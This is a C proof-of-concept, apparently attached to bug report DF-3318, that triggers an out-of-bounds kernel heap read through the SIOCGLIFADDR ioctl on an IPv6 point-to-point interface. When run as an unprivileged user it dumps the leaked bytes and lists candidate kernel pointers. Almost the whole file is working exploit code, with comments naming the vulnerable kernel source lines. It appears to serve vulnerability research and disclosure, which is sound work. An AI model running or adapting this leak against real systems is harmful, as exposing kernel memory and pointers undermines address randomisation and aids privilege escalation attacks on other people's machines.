DF-3318 / leak.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 | /* * DF-3318 leak trigger: run as UNPRIVILEGED user (nobody). * * SIOCGLIFADDR has no privilege check (in6_control_internal, * sys/netinet6/in6.c:490-499). For a POINTOPOINT interface it does * * bcopy(&ia->ia_dstaddr, &iflr->dstaddr, ia->ia_dstaddr.sin6_len); * * (sys/netinet6/in6.c:1570-1572) with the attacker-chosen (root-set) * sin6_len from the setup step -- an out-of-bounds kernel heap READ of * (sin6_len - 28) bytes past the start of ia_dstaddr, whose tail is * copied back to userspace by the generic ioctl copyout * (sys/kern/sys_generic.c:730, 280 bytes). * * Bytes [0..27] of iflr->dstaddr == ia_dstaddr itself (known). * Bytes [28..127] == ia_prefixmask, ia_plen, ia_next (kernel heap * pointer!), ia6_flags, ia6_lifetime, ia6_ndpr (pointer) and -- once * sin6_len exceeds the tail of struct in6_ifaddr -- adjacent slab * memory. * * Build: cc -O -o leak leak.c * Run: ./leak (as nobody) */ #include <sys/param.h> #include <sys/ioctl.h> #include <sys/socket.h> #include <sys/sockio.h> #include <net/if.h> #include <netinet/in.h> #include <arpa/inet.h> #include <stdio.h> #include <stdlib.h> #include <stddef.h> #include <string.h> #include <errno.h> #include <unistd.h> int main(int argc, char **argv) { struct if_laddrreq iflr; struct sockaddr_in6 *sin6; int s, i; const char *ifname = (argc > 1) ? argv[1] : "gif0"; unsigned char *d; s = socket(AF_INET6, SOCK_DGRAM, 0); if (s < 0) { perror("socket"); exit(1); } memset(&iflr, 0, sizeof(iflr)); strlcpy(iflr.iflr_name, ifname, sizeof(iflr.iflr_name)); /* * Select the crafted 2001:db8::1 address via IFLR_PREFIX * (exact /128 prefix match), otherwise the walk returns the * auto-attached link-local address. */ sin6 = (struct sockaddr_in6 *)&iflr.addr; sin6->sin6_len = sizeof(*sin6); sin6->sin6_family = AF_INET6; inet_pton(AF_INET6, "2001:db8::1", &sin6->sin6_addr); iflr.prefixlen = 128; iflr.flags = IFLR_PREFIX; if (ioctl(s, SIOCGLIFADDR, &iflr) < 0) { printf("SIOCGLIFADDR on %s: %s\n", ifname, strerror(errno)); exit(1); } sin6 = (struct sockaddr_in6 *)&iflr.addr; printf("addr.sin6_len=%u family=%u ", sin6->sin6_len, sin6->sin6_family); printf("prefixlen=%u flags=%08x\n", iflr.prefixlen, iflr.flags); d = (unsigned char *)&iflr.dstaddr; sin6 = (struct sockaddr_in6 *)d; printf("dstaddr.sin6_len=%u family=%u addr=", sin6->sin6_len, sin6->sin6_family); { char buf[64]; inet_ntop(AF_INET6, &sin6->sin6_addr, buf, sizeof(buf)); printf("%s\n", buf); } printf("---- dstaddr bytes [0..127] ----\n"); for (i = 0; i < 128; i++) { if ((i % 16) == 0) printf("%3d: ", i); printf("%02x ", d[i]); if ((i % 16) == 15) printf("\n"); } /* highlight plausible kernel pointers in the leaked region */ printf("---- candidate kernel pointers at bytes>=28 ----\n"); for (i = 28; i + 8 <= 128; i += 4) { unsigned long long v; memcpy(&v, d + i, 8); if (v >= 0xffff800000000000ULL && v < 0xffffffffffffffffULL && (v & 0xf) == 0) printf(" off %3d: 0x%016llx\n", i, v); } return (0); } |